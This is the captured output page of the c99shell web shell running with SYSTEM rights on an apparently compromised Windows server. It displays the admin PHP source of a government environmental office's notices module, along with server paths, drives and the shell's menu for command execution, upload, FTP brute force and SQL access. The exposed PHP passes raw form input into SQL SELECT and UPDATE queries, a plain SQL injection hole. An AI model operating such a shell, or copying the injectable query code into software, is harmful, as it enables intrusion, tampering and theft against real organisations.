!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\BLA\boletinlegal\admin\notificaciones\   drwxrwxrwx
Free 1.2 GB of 239.26 GB (0.5%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     modificarok.php (21.08 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php include("../usuarios/include/session.php");
require(
'calendario.php');
/**
 * UserEdit.php
 *
 * This page is for users to edit their account information
 * such as their password, email address, etc. Their
 * usernames can not be edited. When changing their
 * password, they must first confirm their current password.
 *
 * Written by: Jpmaster77 a.k.a. The Grandmaster of C++ (GMC)
 * Last Updated: August 26, 2004
 */

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html class="noI firefox" xmlns="http://www.w3.org/1999/xhtml"><head>
<link rel="shortcut icon" href="../../images/favicon.ico">
<title>Modulo Administraci&oacute;n</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="../index_files/style.css" rel="stylesheet" type="text/css">

<SCRIPT LANGUAGE="JavaScript">
function popup(page) {
window.open(page,'popup','width=800,height=600,toolbar=false,scrollbars=yes,top=0,left=10');
}
</SCRIPT>
</head>
<!-- CSS -->
<link rel="stylesheet" href="../css/dynamic.css" type="text/css">
<link rel="stylesheet" href="../css/creation.css" type="text/css">
<script type="text/javascript" src="../js/jquery-1.3.1.min.js"></script>
<script type="text/javascript" src="../js/jquery.functions.js"></script>
<script type="text/javascript" src="../js/nicEdit-latest.js"></script> 
</head><body id="creation">
<script type="text/javascript">
    //<![CDATA[
    bkLib.onDomLoaded(function() { nicEditors.allTextAreas() });
    //]]>
    </script>

<?php
/**
 * User has submitted form without errors and user's
 * account has been edited successfully.
 */
if(isset($_SESSION['useredit'])){
   unset(
$_SESSION['useredit']);
   
   echo 
"<h1>User Account Edit Success!</h1>";
   echo 
"<p><b>$session->username</b>, tu cuenta ha sido actualizada satisfactoriamente. "
       
."<a href=\"../index.php\">Inicio</a>.</p>";
}
else{
?>
<?php
/**
 * If user is not logged in, then do not display anything.
 * If user is logged in, then display the form to edit
 * account information, with the current email address
 * already in the field.
 */
if($session->logged_in){
?>
<div id="container" class="clearfix">
<?php include("../../conex.php");


     

  if( 
$_POST['consulta'] ){
    
    
$sql "select * from notificaciones where id ='$_POST[id]'";
    
    
$cursor mysql_query$sql$conexion );
    if( 
$row mysql_fetch_array$cursor ) ){
    
    
$no $row["no"];
    
$fecha $row["fecha"];
    
$resuelve $row["resuelve"];
    
$sector $row["sector"];
    
$usuario $row["usuario"];
    
$clasificacion $row["clasificacion"];
    
$id $row["id"];
    
$tipo $row["tipo"];
    
$fijacion $row["fijacion"];
    
$desfijacion $row["desfijacion"];
    }
    }
    
     if( 
$_POST['modifica'] ){
    
$sql "update notificaciones set         no='$_POST[no]',fecha='$_POST[fecha]',resuelve='$_POST[resuelve]',sector='$_POST[sector]',usuario='$_POST[usuario]',tipo='$_POST[tipo]',fijacion='$_POST[fijacion]',desfijacion='$_POST[desfijacion]' where id = '$_POST[id]'"
    
//echo $sql;




    
if(mysql_query($sql,$conexion)){
    echo 
"<script language='JavaScript' type='text/javascript'>
    alert('Registro modificado correctamente') </script>"
;
}
    else 
    echo 
"<script language='JavaScript' type='text/javascript'>
    alert('Error al modificar registro') </script>"
;
    
}    
    
?>
    
<div id="container">
<div>
<div> <img src="../../images/cabezote BLEGAL.jpg" width="866" height="145" border="0" usemap="#Map">
<map name="Map"><area shape="poly" coords="345,82" href="#"><area shape="poly" coords="548,159" href="#"></map></div>
<div>

  
<FORM id=form1 name=form1 method="post" action="modificar.php">
  <TABLE border=2 style="BORDER-LEFT-COLOR: green; BORDER-BOTTOM-COLOR: green; BORDER-TOP-COLOR: green; BORDER-RIGHT-COLOR: green" align="center">
              <TBODY>
              <TR>
                <TD width="820" style="FONT-SIZE: 8pt; COLOR: black; FONT-FAMILY: Verdana">
                  <div>
                    <TABLE>
                      <TBODY>
                        <TR>
                          <TD style="FONT-SIZE: 10pt; COLOR: black; HEIGHT: 18px; BACKGROUND-COLOR: #cccccc"><strong>Formulario de Modificación Actos Administrativos: <span class="Estilo3">Seleccione el auto o la resolución a modificar y luego oprima el boton consultar, realice la modificacion seguido del boton modificar. </span></strong><span style="FONT-SIZE: 8pt; FONT-FAMILY: Verdana"><strong></strong></span> <BR></TD>
                      </TR>
                        <TR>
                          <TD style="COLOR: white; BACKGROUND-COLOR: #1C3606">                          </TD></TR>
                        <TR>
                          <TD 
                      style="FONT-SIZE: 12pt; COLOR: red; BACKGROUND-COLOR: gainsboro; TEXT-ALIGN: center"><p><SPAN 
                        style="FONT-SIZE: 10pt">Si usted ya se encuentra en este modulo es porque tiene acceso a el. El ingreso de informaci&oacute;n no autorizado a este modulo est prohibido y puede estar sujeto a acciones civiles y penales.</SPAN> &nbsp;</p>                        </TD>
                      </TR>
                        <TR>
                          <TD style="TEXT-ALIGN: center">
                            <TABLE width="100%">
                              <TBODY>
                              <TR>                              </TR></TBODY></TABLE>                      </TD></TR>
                        <TR>
                          <TD 
                      style="FONT-SIZE: 8pt; COLOR: white; BACKGROUND-COLOR: #1C3606"><TABLE width="100%">
                              <TBODY>
                                <TR>
                                  <TD style="HEIGHT: 15px" 
                              align=middle><div align="left"><STRONG>Solicitud Concepto Jur&iacute;dico </STRONG></div></TD>
                                  <TD style="HEIGHT: 15px" align=right><A 
                              id=linAyudaNombre 
                              title="">Ayuda</A><input name="id" type="hidden" class="iceReadOnly" id="id" style="" onFocus="setFocus(this.id);" onBlur="setFocus('');" onKeyPress="iceSubmit(form,this,event);" value="<?php echo $id?>" size="5" maxlength="5" readonly="readonly"></TD>
                                </TR>
                              </TBODY>
                          </TABLE></TD>
                        </TR>
                        <TR>
                          <TD 
                      style="HEIGHT: 42px; BACKGROUND-COLOR: activeborder; TEXT-ALIGN: center; background-color:#FFFFFF"><TABLE width="100%">
                              <TBODY>
                                <TR>
                        
                        <TD width="199" bgcolor="#D4D0C8" style="HEIGHT: 15px ; BACKGROUND-COLOR: activeborder "><strong>No. </strong></TD>
                        <TD colspan="2" bgcolor="#D4D0C8" style="HEIGHT: 15px ; BACKGROUND-COLOR: activeborder "><strong>Fecha * </strong></TD>
                        <TD width="239" bgcolor="#D4D0C8" style="HEIGHT: 15px ; BACKGROUND-COLOR: activeborder "><strong>Titulo*</strong></TD>
                        <TD width="231" bgcolor="#D4D0C8" style="HEIGHT: 15px ; BACKGROUND-COLOR: activeborder "><strong>Tipo</strong>*&nbsp;</TD>
                      </TR>
                                <TR>
                                  <TD 
                              align=middle bgcolor="#D4D0C8" style="WIDTH: 198px; HEIGHT: 26px"><var>
                                  <INPUT name=no class="fundamentals" id=no tabIndex=1 value="<?php echo $no?>" size="12" 
                              maxLength=12>
                                  </var>                                  <img src="../../images/search.gif" width="20" height="20" border="0" onClick="popup('mostrar.php')"/></TD>
                                  <TD width="79" align=middle bgcolor="#D4D0C8" style="HEIGHT: 26px"><input name="fecha" type="text" class="fundamentals" id="fecha" tabIndex="2" value="<?php echo $fecha?>" size="15" maxlength="10"  /> </TD>
                        <TD width="40" align=middle bgcolor="#D4D0C8" style="HEIGHT: 26px"><a onclick="show_calendar()" style="cursor: pointer;"><small><img src="../images/calendario.png" width="32" height="32" /></small></a>
    <div id="calendario">
    <?php calendar_html() ?>
    </div></TD>
                                  <TD 
                              align=middle bgcolor="#D4D0C8"  style="WIDTH: 214px; HEIGHT: 26px"><span style="HEIGHT: 26px">
                                    <select name="resuelve" size="1" class="fundamentals" id="resuelve" tabindex="5">
                                    <option value="<?php echo $resuelve;?>" selected='selected'><?php echo $resuelve;?></option>
                                    <option value="INDAGACION PRELIMINAR">INDAGACION PRELIMINAR</option>
<option value="INICIO PROCESO SANCIONATORIO">INICIO PROCESO SANCIONATORIO</option>
<option value="FORMULACION DE CARGOS">FORMULACION DE CARGOS</option>
<option value="DECRETA PRUEBAS">DECRETA PRUEBAS</option>
<option value="SANCION">SANCION</option>
<option value="RESUELVE EL RECURSO">RESUELVE EL RECURSO</option>
<option value="CADUCIDAD">CADUCIDAD</option>
<option value="PERDIDA DE FUERZA">PERDIDA DE FUERZA</option>
<option value="AUTO DE ARCHIVO">AUTO DE ARCHIVO</option>
<option value="DECLARA CESACIÓN">DECLARA CESACIÓN</option>
<option value="EXONERACION">EXONERACION</option>
<option value="REVOCATORIA">REVOCATORIA</option>
<option value="ACLARA AUTO">ACLARA AUTO</option>
<option value="ACLARA RESOLUCION">ACLARA RESOLUCION</option>
<option value="MODIFICA AUTO">MODIFICA AUTO</option>
<option value="MODIFICA RESOLUCION">MODIFICA RESOLUCION</option>
<option value="AUTO INICIO TRAMITE AMBIENTAL">AUTO INICIO TRAMITE AMBIENTAL</option>
<option value="PERMISO">PERMISO</option>
<option value="PRORROGA">PRORROGA</option>
<option value="MODIFICA PERMISO">MODIFICA PERMISO</option>
<option value="ACLARA PERMISO">ACLARA PERMISO</option>
<option value="DESMONTE">DESMONTE</option>
</select>
                                  </span></TD>
                                  <TD align=middle bgcolor="#D4D0C8" style="HEIGHT: 26px">
                                  <select
                              name="tipo" class="fundamentals" 
                              id="tipo" tabindex="4" value="" maxlength="200">
                                    <option value="<?php echo $tipo;?>"><?php echo $tipo;?></option>
                                    <option value="AUTOS">AUTOS</option>
                                    <option value="RESOLUCIONES">RESOLUCIONES</option>
                                  </select>
                                  
                                  
                                  </TD>
                                </TR>
                              </TBODY>
                          </TABLE></TD>
                        </TR>
                        <TR>
                          <TD 
                      style="FONT-SIZE: 8pt; COLOR: white; BACKGROUND-COLOR: #1C3606"><TABLE width="100%">
                              <TBODY>
                                <TR>
                                  <TD style="HEIGHT: 15px" 
                              align=middle><div align="left"><STRONG>Concepto</STRONG></div></TD>
                                  <TD style="HEIGHT: 15px" align=right><A 
                              id=linAyudaNombre 
                              title="">Ayuda</A></TD>
                                </TR>
                              </TBODY>
                          </TABLE></TD>
                        </TR>
                        <TR>
                          <TD 
                      style="HEIGHT: 42px; BACKGROUND-COLOR: activeborder; TEXT-ALIGN: center; background-color:#FFFFFF"><TABLE width="100%">
                              <TBODY>
                                <TR>
                        <TD width="215" bgcolor="#D4D0C8" style="WIDTH: 198px; HEIGHT: 15px; BACKGROUND-COLOR: activeborder" ><strong>Sector*</strong></TD>
                        <TD width="232" bgcolor="#D4D0C8" style="HEIGHT: 15px ; BACKGROUND-COLOR: activeborder "><strong>Usuario *</strong>&nbsp;</TD>
                     
                        </TR>
                                <TR>
                        <TD 
                              align=middle bgcolor="#D4D0C8" style="WIDTH: 198px; HEIGHT: 26px"><select size="1" name="sector" id="sector">
                          <option value="<?php echo $sector;?>" selected='selected'><?php echo $sector;?></option> 
                          
                          <option value=""></option>
                          <option value="SCAAV-FUENTES FIJAS">SCAAV-FUENTES FIJAS</option>
<option value="SCAAV-FUENTES MOVILES">SCAAV-FUENTES MOVILES</option>
<option value="SCAAV-PUBLICIDAD EXTERIOR VISUAL- PEV">SCAAV-PUBLICIDAD EXTERIOR VISUAL- PEV</option>
<option value="SCAAV-RUIDO">SCAAV-RUIDO</option>
<option value="SCAAV-CENTROS DE DIAGNOSTICO AUTOMOTOR- CDA">SCAAV-CENTROS DE DIAGNOSTICO AUTOMOTOR- CDA</option>
<option value="SRHS-VERTIMIENTOS">SRHS-VERTIMIENTOS</option>
<option value="SRHS-RESIDUOS">SRHS-RESIDUOS</option>
<option value="SRHS-AGUAS SUBTERRANEAS">SRHS-AGUAS SUBTERRANEAS</option>
<option value="SRHS-MINERIA">SRHS-MINERIA</option>
<option value="SRHS-HIDROCARBUROS">SRHS-HIDROCARBUROS</option>
<option value="SRHS-LICENCIA AMBIENTAL">SRHS-LICENCIA AMBIENTAL</option>
<option value="SRHS-PLANES DE MANEJO RESTAURACION Y RECUPERACION AMBIENTAL -PMRRA">SRHS-PLANES DE MANEJO RESTAURACION Y RECUPERACION AMBIENTAL -PMRRA</option>
<option value="SSFFS-FLORA">SSFFS-FLORA</option>
<option value="SSFFS-FAUNA">SSFFS-FAUNA</option>
<option value="SSFFS-SILVICULTURA">SSFFS-SILVICULTURA</option>
<option value="SCASP-ESCOMBROS">SCASP-ESCOMBROS</option>
<option value="SCASP-INFRAESTRUCTURA">SCASP-INFRAESTRUCTURA</option>
<option value="SCASP-HOSPITALARIOS">SCASP-HOSPITALARIOS</option>
                        </select></TD>
                        <TD 
                              align=middle bgcolor="#D4D0C8" style="WIDTH: 214px; HEIGHT: 26px"><span style="HEIGHT: 26px">
                          <INPUT
                              name=usuario class="fundamentals" 
                              id=usuario tabIndex=4 value="<?php if( $_POST['consulta'] || $_POST['modifica'] ){ echo $row["usuario"]; }?>" size="45" maxLength=150>
                        </span></TD>
                        </TR>
                              </TBODY>
                          </TABLE></TD>
                        </TR>
                        <TR>
                          <TD 
                      style="FONT-SIZE: 8pt; COLOR: white; BACKGROUND-COLOR: #1C3606"><TABLE width="100%">
                              <TBODY>
                                <TR>
                                  <TD style="HEIGHT: 15px" 
                              align=middle><div align="left"></div></TD>
                                  <TD style="HEIGHT: 15px" align=right><A 
                              id=linAyudaNombre 
                              title="">Ayuda</A></TD>
                                </TR>
                              </TBODY>
                          </TABLE></TD>
                        </TR>
                        <TR>
                <TD 
                      style="HEIGHT: 42px; BACKGROUND-COLOR: activeborder; TEXT-ALIGN: center; background-color:#FFFFFF"><TABLE width="100%">
                    <TBODY>
                      <TR>
                        <TD colspan="2" bgcolor="#D4D0C8" style="HEIGHT: 15px ; BACKGROUND-COLOR: activeborder "><strong>Fijación</strong></TD>
                        <TD colspan="2" bgcolor="#D4D0C8" style="HEIGHT: 15px ; BACKGROUND-COLOR: activeborder "><strong>Desfijación</strong></TD>
                         <TD width="487" bgcolor="#D4D0C8" style="HEIGHT: 15px ; BACKGROUND-COLOR: activeborder "><strong>Clasificacion *</strong>&nbsp;</TD>  
                        </TR>
                      <TR>
                        <TD width="125" align=middle bgcolor="#D4D0C8" style="HEIGHT: 26px"><input name="fijacion" type="text" class="fundamentals" id="fijacion" tabindex="12" value="<?php echo $fijacion?>" size="15" maxlength="10"  /></TD>
                      <TD width="43" align=middle bgcolor="#D4D0C8" style="HEIGHT: 26px"><a onclick="show_calendarf()" style="cursor: pointer;"><small><img src="../images/calendario.png" width="32" height="32" /></small></a>
    <div id="calendariof">
    <?php calendar_htmlf() ?>
    </div></TD>
                        <TD width="88" align=middle bgcolor="#D4D0C8" style="HEIGHT: 26px"><input name="desfijacion" type="text" class="fundamentals" id="desfijacion" tabindex="13" value="<?php echo $desfijacion?>" size="15" maxlength="10" readonly="readonly"  /></TD>
                      <TD width="45" align=middle bgcolor="#D4D0C8" style="HEIGHT: 26px"><a onclick="show_calendard()" style="cursor: pointer;"><small><img src="../images/calendario.png" width="32" height="32" /></small></a>
    <div id="calendariod">
    <?php calendar_htmld() ?>
    </div></TD>
    <TD 
                              align=middle bgcolor="#D4D0C8" style="WIDTH: 100px; HEIGHT: 26px"><span style="HEIGHT: 26px">
                          <select
                              name="clasificacion" class="fundamentals" 
                              id="clasificacion" tabindex="4" value="" maxlength="200">
                              <option value="<?php echo $clasificacion;?>" selected='selected'><?php echo $clasificacion;?></option> 
                            <option value="PERMISIVO">PERMISIVO</option>
                            <option value="SANCIONATORIO">SANCIONATORIO</option>
                          </select>
                        </span></TD>
                        </TR>
                    </TBODY>
                </TABLE></TD>
              </TR>
                        <TR>
                          <TD style="COLOR: white; BACKGROUND-COLOR: #1C3606"><TABLE width="100%">
                              <TBODY>
                                <TR>
                                  <TD align=middle><div align="left"><STRONG>Observaciones</STRONG></div></TD>
                                  <TD align=right><A id=HyperLink3 
                              title="Ayuda ">Ayuda</A></TD>
                                </TR>
                              </TBODY>
                          </TABLE></TD>
                        </TR>
                        <TR>
                          <TD style="TEXT-ALIGN: center"><TABLE width="100%">
                              <TBODY>
                                <TR>
                                  <TD 
                            style="WIDTH: 163px; HEIGHT: 15px; BACKGROUND-COLOR: activeborder">&nbsp;</TD>
                                </TR>
                              </TBODY>
                          </TABLE></TD>
                        </TR>
                        <TR>
                          <TD bgcolor="#1C3606" style="COLOR: white; BACKGROUND-COLOR: #1C3606">
                            <TABLE>
                              <TBODY>
                                <TR>
                                  <TD align=middle>&nbsp;</TD>
                        <TD align=right><A id=HyperLink1 
                              title="Diligencie los datos solicitados">Ayuda</A></TD></TR></TBODY></TABLE><strong></strong></TD></TR>
                        <TR>
                          <TD style="TEXT-ALIGN: center">
                            <TABLE width="100%">
                              <TBODY>
                                <TR>
                                  <TD 
                            style="BACKGROUND-COLOR: activeborder">&nbsp;</TD>
                              <TD
                            style="BACKGROUND-COLOR: activeborder"><span>
                                <input name="consulta" type="submit" id="consulta" value="Consultar" >
                                <input name="modifica" type="submit" id="modifica" value="Modificar" >
                              
                                <input type="button" name="limpiar" value="Limpiar" onClick="location.href='modificar.php'">
                                
                              </span></TD><TD width="115" 
                              colSpan=2 style="BACKGROUND-COLOR: activeborder"><input type="button" name="limpiar2" value="Volver al menu principal" onClick="location.href='../admin.php'"></TD>
                              </TR>
                            </TBODY></TABLE>                                              </TD>
              </TR></TBODY>
                    </TABLE>
    </div></TD></TR></TBODY></TABLE>
</form>     
</div>
</div>
<?php
}
}

?>
<div class="footer">
<i class="c1">·</i> 
Copyright © 2011 
<i class="c1">·</i><strong>Secretaria de Ambiente </strong><b>.</b> 
<i class="c1">·</i>Todos los derechos reservados <i class="c1">·</i></div>

</div><!--container-->


</body></html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--